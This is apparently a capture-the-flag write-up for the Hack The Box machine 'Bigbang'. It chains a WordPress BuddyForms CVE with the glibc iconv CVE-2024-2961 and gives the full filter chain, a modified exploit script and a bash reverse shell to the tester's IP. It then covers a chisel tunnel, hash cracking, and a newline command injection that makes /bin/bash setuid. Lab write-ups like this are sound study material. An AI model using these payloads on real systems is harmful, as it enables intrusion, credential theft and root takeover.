Post

HTB - Bigbang

HTB - Bigbang

Bigbang is a hard linux box mixing wordpress plugin exploitation, Android APK analysis and API exploitation. We start off with an access to a wordpress website where we find a plugin vulnerable to a deserialization CVE (CVE-2023–26326). Deserialization not being possible here, we need to chain this CVE with CVE-2024-2961. Tweaking with the original exploit and running it lands us in a docker container as www-data in which we can find the database of the website and extract and crack the credentials of one user. We can then ssh into the real box with this user and find a grafana database holding other user credentials. This grants us ssh access as a new user whose home folder contains an Android APK. Decompiling and analysing this APK reveals a local api accepting login and command requests. After logging in, we exploit a command injection in a parameter of the command endpoint. This grants us access as root and completes the takeover of the system.

Reconnaissance

nmap

1
2
3
4
5
6
7
8
9
10
11
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_  256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

A website running on port 80 and a ssh port open, nothing out of the ordinary for a hard linux box.

Shell as www-data

Finding vulnerabilities

Loading the website, we can find a basic template website with mostly unresponsive buttons. One thing that works is when we click the login button. This leads us to a wordpress login website:

Wordpress login page Wordpress login page

Now that we know that this website is running wordpress, we can scan it using wpscan to understand if it has any vulnerabilities or plugins we could exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ docker run -v /etc/hosts:/etc/hosts -it --rm wpscanteam/wpscan --url http://blog.bigbang.htb
...[snip]...
[+] Headers
     | Interesting Entries:
     |  - Server: Apache/2.4.62 (Debian)
     |  - X-Powered-By: PHP/8.3.2
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
...[snip]...
[i] Plugin(s) Identified:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2024-01-19T03:40:00.000Z
| [!] The version is out of date, the latest version is 2.8.6
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

This version of Buddyforms is vulnerable to a CVE: CVE-2023-26326.

Understanding the vulnerabilities

Going through the CVE-2023-26326 article, the author of the CVE uses a php gadget chain to send a malicious phar file in order to exploit it with a deserialization vulnerability. However, this won’t work here as the website uses php 8.3.2 and php 8+ doesn’t deserialize the metadata part of a phar anymore. But thanks to recent findings about an iconv cve CVE-2024-2961, we can chain these two vulnerabilities together to get RCE.

Note: In the demo section of the CVE-2024-2961 article, we see the author performs the exact attack we are about to try out!

The author of the CVE-2023-26326 medium post uses a ‘GIF89a’ prefix to fool the server into believing that the content they send is an image. This works because of numeral reasons. In BuddyForms, the buddyforms_upload_image_from_url function:

  • Doesn’t apply any verification on the url parameter
  • Has an extra parameter named accepted_files to specify the mime type which allows to bypass the mime verification step
  • The function getimagesize does no check on the file and assumes it is an image
  • The function file_get_contents is used with no prior checks

Prefixing the data with GIF89a effectively fools the filetype checking and the content is then saved under the wp-content/uploads folder.

If we want to prepend this to our malicious content, we need to create a chain to do this. At the end of the advisory article, there is a note of the author when he targeted buddyforms.

Note: if you read the advisory by the original finder, you may see that right before the file read primitive, a getimagesize() call is performed to check if the file is an image. Therefore, to allow the exploit to read /proc/self/maps and the libc, I used wrapwrap to make them look like GIF images.

Reading through the wrapwrap article they wrote about the tool, we can understand how to apply it to our problem and generate our chain. We only need a prefix (‘GIF89a’) and no suffix (‘’). As for the length, it doesn’t matter because we don’t use the suffix option.

1
2
3
4
5
6
7
8
9
10
$ python wrapwrap.py /etc/passwd 'GIF89a' '' 1000 -o chain.txt
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1444).

$ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-
decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decod
e|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert
.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.icon
v.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd

We can now try to use this chain and upload our “image” with resource set to /etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 1507

action=upload_image_from_url&url=php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd&id=1&accepted_files=image/gif

We get back a positive response: {"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/04\/1.png","attachment_id":155}.

Note that if we change the chain and don’t have the right prefix, we’ll get an eror like this: {"status":"FAILED","response":"File type is not allowed."}.

When we fetch the url given in the response, we find the /etc/passwd file prefixed with our GIF89a:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GIF89aroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologi

Chaining CVE-2023-26326 and CVE-2024-2961

Our objective now is to start from the CVE-2024-2961 exploit and modify it just enough to work for our use-case.

The base for our exploit is this file. To run it, we need to give it the url where the exploit can be done and the command we want to run.

Sending data

First, we need to change the way we send data to the server. In the original exploit, they use the following function to send a path to the server:

1
2
3
def send(self, path: str) -> Response:
     """Sends given `path` to the HTTP server. Returns the response."""
     return self.session.post(self.url, data={"file": path})

We rely on the wp-admin/admin-ajax.php endpoint for which the body contains action, url, id and accepted_files. We also use the url parameter to include our custom chain. Because the data we send is of type application/x-www-form-urlencoded, we need to correctly parse the url parameter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib
import urllib.parse

def send(self, path: str) -> Response:
     """Sends given `path` to the HTTP server. Returns the response."""
     return self.session.post(
          self.url,
          data={
               "action":"upload_image_from_url",
               "url": urllib.parse.quote_plus("php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="+path),
               "id": "1",
               "accepted_files": "image/gif"
          }
     )

Download data

The original download function looks like this:

1
2
3
4
5
6
def download(self, path: str) -> bytes:
     """Returns the contents of a remote file."""
     path = f"php://filter/convert.base64-encode/resource={path}"
     response = self.send(path)
     data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
     return base64.decode(data)

Adapting this code to the response from BuddyForms is fairly easy. We want to get the data located at the content key of the JSON response. We then proceed to fetch this file from the server. At the end, we need to remove the prefix that was added with our gagdet chain! I also added a small check for wrong file types (you’ll understand this part once we go over the rest of the code):

1
2
3
4
5
6
7
8
9
10
11
12
13
def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path).json()
        file_path = response["response"]

        if "File type is  not allowed" in file_path:
            raise Exception(f"Incorrect file format for {file_path}")

        response = self.session.get(file_path)
        data = response.content[6:]  # We skip 'GIF89a'
        return data

Adapting places using download()

Since we modified the download function, we need to adapt some parts of the code that relied on that function.

1
2
3
def get_file(self, path: str) -> bytes:
     with msg_status(f"Downloading [i]{path}[/]..."):
          return self.remote.download(path)

Originally, this function only was only downloading the file. We need to add an extra b64 decode in order to get our real data (we make sure the b64 data is correctly padded by adding necessary =):

1
2
3
4
5
def get_file(self, path: str) -> bytes:
     with msg_status(f"Downloading [i]{path}[/]..."):
          data = self.remote.download(path)
          data = data.decode('latin-1')
          return base64.decode(data + (4 - len(data) % 4) * '=')

When running the code, it first start by performing a check to see if the endpoint we use is vulnerable. For the sake of the exercise, I tried to make this function work but somehow, I couldn’t get the last check working (checks whether the zlib extension is enabled). In any case, this part is not very interesting for us.

ELFParseError

If we comment out this check, we go straight to the second important function of this script: get_symbols_and_addresses().

1
2
3
4
$ python cnet/cnet-exploit-v1.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c "bash -i >& /dev/tcp/10.10.14.155/4242 0>&1"'
[*] Potential heaps: 0x7fe96bc00040, 0x7fe96ba00040, 0x7fe96a200040, 0x7fe967a00040, 0x7fe967400040, 0x7fe966e00040, 0x7fe966400040, 0x7fe965e00040 (using first)
HEAP address: 0x7fe96bc00040
[x] ELFParseError expected 8, found 6

When it tries to read the libc file we just downloaded and saved locally, there is a mismatch. If we recall the first test we did with /etc/passwd, you might have noticed that there were 2 bytes missing (the last letter of login and the newline). To solve this, we can try to pad our libc file with 2 nullbytes.

So we transform this:

1
elf.info["libc"] = ELF(LIBC_FILE, checksec=False)

to this

1
2
3
4
5
6
7
8
9
10
11
12
try:
     self.info["libc"] = ELF(LIBC_FILE, checksec=False)
except Exception as e:
     if "expected" in str(e) and "found" in str(e):
          match = re.search(r'expected\s+(\d+),\s+found\s+(\d+)', str(e))
          if match:
          expected = int(match.group(1))
          found = int(match.group(2))
          padding_size = expected - found
          with open(LIBC_FILE, "ab") as f:
               f.write(b"\x00" * padding_size)
          self.info["libc"] = ELF(LIBC_FILE, checksec=False)

The error message tells us how much bytes where expected and how much were found. We simply pad the file with the amount of missing bytes (in this case: 2).

Shell as www-data

Applying this change allows the exploit to continue and perform the final exploit:

1
2
3
4
5
$ python cnet/cnet-exploit-v1.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c "bash -i >& /dev/tcp/10.10.14.155/4242 0>&1"'
[*] Potential heaps: 0x7fe96bc00040, 0x7fe96ba00040, 0x7fe96a200040, 0x7fe967a00040, 0x7fe967400040, 0x7fe966e00040,
0x7fe966400040, 0x7fe965e00040 (using first)

     EXPLOIT  SUCCESS

Looking at our listener, we see that we indeed have a shell:

1
2
3
4
5
6
$ rlwrap nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.10.14.155] from (UNKNOWN) [10.129.241.76] 41362
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$

SSH as shawking

From the hostname, we can see that we’re in some sort of container: www-data@8e3a72b5e980.

Rummaging around in the wordpress directory, we find the wp-config.php file where we find the information to connect to the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...[snip]...
/ ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
...[snip]...

Trying to connect to this database from our shell using mysql doesn’t work as we don’t have a mysql installed in this docker container. Several options are available here like coding a small script to connect to the db or create a chisel tunnel from our machine to this docker container. I chose the latter because I felt more comfortable doing that.

1
2
3
$ ./chisel server --reverse -p 8471  # From our attacker machine

$ ./chisel client 10.10.14.166:8471 R:3306:172.17.0.1:3306  # From the victim machine

We can now connect to the mysql database by targeting our local port 3306:

1
2
3
4
5
6
7
8
9
$ mysql -h 127.0.0.1 -u wp_user -D wordpress -p -P 3306
...[snip]...
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email           | user_url                | user_registered     | user_activation_key | user_status | display_name    |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
|  1 | root       | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root          | root@bigbang.htb     | http://blog.bigbang.htb | 2024-05-31 13:06:58 |                     |           0 | root            |
|  3 | shawking   | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking      | shawking@bigbang.htb |                         | 2024-06-01 10:39:55 |                     |           0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+

Those passwords are crackable with hashcat mode 400 (phpass, WordPress (MD5), Joomla (MD5)):

1
2
3
$ hashcat -m 400 hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics

We can now ssh in as shawking and see if this user can execute commands as sudo:

1
2
3
4
5
$ ssh shawking@bigbang.htb
shawking@bigbang.htb's password:  # quantumphysics
shawking@bigbang:~$ sudo -l
[sudo] password for shawking:
Sorry, user shawking may not run sudo on bigbang.

We can also grab user.txt while connected as shawking.

SSH as developer

Looking for other users on the machine reveals a total of 3 users:

1
2
3
4
$ shawking@bigbang:~$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash

In the /opt/data folder, we find a grafana database:

1
2
3
4
5
6
7
8
9
$ shawking@bigbang:/opt/data$ ls -la
total 1008
drwxr-xr-x 6 root root    4096 Apr 25 23:49 .
drwxr-xr-x 4 root root    4096 Jun  5  2024 ..
drwxr--r-- 2 root root    4096 Jun  5  2024 csv
-rw-r--r-- 1 root root 1003520 Apr 25 23:49 grafana.db
drwxr--r-- 2 root root    4096 Jun  5  2024 pdf
drwxr-xr-x 2 root root    4096 Jun  5  2024 plugins
drwxr--r-- 2 root root    4096 Jun  5  2024 png

We can download this file locally to have a look at it.

1
2
$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 757, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 757

This is a simple SQLite database so we can connect to it and extract its content:

1
2
3
sqlite> select login, email, password, salt from user;
admin|admin@localhost|441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
developer|ghubble@bigbang.htb|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv

Grafana uses the PBKDF2_HMAC_SHA256 hashing algorithm and stores the hash digests in hexadecimal and the salt in plaintext format. We can use a handy little tool to format these values for us in a hashcat-friendly format:

The hashes need to be written in a file in the format <hex hash>, <salt>.

1
2
3
4
5
6
7
8
9
10
$ python grafana2hashcat.py ~/htb/machines/bigbang/grafana_hashes.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  /home/kali/htb/machines/bigbang/grafana_hashes.txt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.

sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=

These can now be cracked with hashcat:

1
2
3
$ hashcat -m 10900 grafana_hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang

This password allows us to ssh in as the user developer:

1
2
3
4
5
$ ssh developer@bigbang.htb
developer@bigbang.htb's password:  # bigbang
developer@bigbang:~$ sudo -l
[sudo] password for developer:
Sorry, user developer may not run sudo on bigbang.

Shell as root

In developer’s home folder, we find a folder named android with a single file: satellite-app.apk. We’ll download this file locally to analyse it.

We can extract the files of the apk:

1
2
3
4
5
6
7
8
9
10
11
12
$ apktool d satellite-app.apk -o satellite-app
I: Using Apktool 2.7.0-dirty on satellite-app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

In the satellite-app/smali folder, we find a large number of smali files. Searching for some strings inside this folder reveals a LoginActivity class as well as some urls:

1
2
3
4
$ grep -r -i "bigbang.htb"
smali/q0/b.smali:    const-string v3, "http://app.bigbang.htb:9090/command"
smali/u/f.smali:    const-string v9, "http://app.bigbang.htb:9090/command"
smali/u/f.smali:    const-string v9, "http://app.bigbang.htb:9090/login"

Looking at the open ports, we can see that 9090 is indeed open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ developer@bigbang:~$ ss -tunlp
Netid              State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
udp                UNCONN              0                   0                                127.0.0.53%lo:53                                   0.0.0.0:*
udp                UNCONN              0                   0                                      0.0.0.0:68                                   0.0.0.0:*
tcp                LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
tcp                LISTEN              0                   4096                                172.17.0.1:3306                                 0.0.0.0:*
tcp                LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
tcp                LISTEN              0                   4096                                   0.0.0.0:80                                   0.0.0.0:*
tcp                LISTEN              0                   128                                  127.0.0.1:9090                                 0.0.0.0:*
tcp                LISTEN              0                   4096                                 127.0.0.1:3000                                 0.0.0.0:*
tcp                LISTEN              0                   4096                                 127.0.0.1:33581                                0.0.0.0:*
tcp                LISTEN              0                   128                                       [::]:22                                      [::]:*
tcp                LISTEN              0                   4096                                      [::]:80                                      [::]:*

Testing the endpoint with an empty json reveals the parameters:

1
2
$ developer@bigbang:/$ curl -X POST http://127.0.0.1:9090/login -d '{}' -H "Content-type:application/json"
{"error":"Missing username or password"}

If we provide a username and password, we get back an access_token:

1
2
$ curl -X POST http://127.0.0.1:9090/login -d '{"username": "developer", "password":"bigbang"}' -H "Content-type:application/json"
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI"}

Analyzing the apk code further, we find that the /command endpoint crafts a json and sends this to the server: “{"command": "send_image", "output_file": "” + something + “"}”

Using pspy64, we can also see that there’s a cronjob cleaning up images from time to time. So when the server receives a request it is probably executing the following command: echo $data > $output_file

We can try to play around with the parameter to see if we can trigger an error or execute commands:

1
2
3
4
5
6
7
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "\n"}'
{"error":"Error generating image: "}
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "sleep 10"}'
{"error":"Error generating image: "}
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "\nsleep 10"}'
...[10 seconds pass]...
{"error":"Error reading image file: [Errno 2] No such file or directory: '\\nsleep 10'"}

The last one is interesting as it took 10 seconds to return. This means we have a command injection. An easy thing we can do now is to add a setuid bit on /bin/bash:

1
2
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "\nchmod 4777 /bin/bash"}'
     {"error":"Error reading image file: [Errno 2] No such file or directory: '\\nchmod 4777 /bin/bash'"}

We can now become root and get the flag:

1
2
3
4
5
6
7
8
developer@bigbang:/$ ll /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14  2024 /bin/bash*
developer@bigbang:/$ /bin/bash -p
bash-5.1# id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)
bash-5.1# cd /root
bash-5.1# cat root.txt
e647256a************************

References:

  • https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8
  • https://blog.lexfo.fr/iconv-cve-2024-2961-p1.html
  • https://blog.lexfo.fr/wrapwrap-php-filters-suffix.html
  • https://medium.com/@knownsec404team/analysis-of-cve-2024-2961-vulnerability-e81c165cd897
This post is licensed under CC BY 4.0 by the author.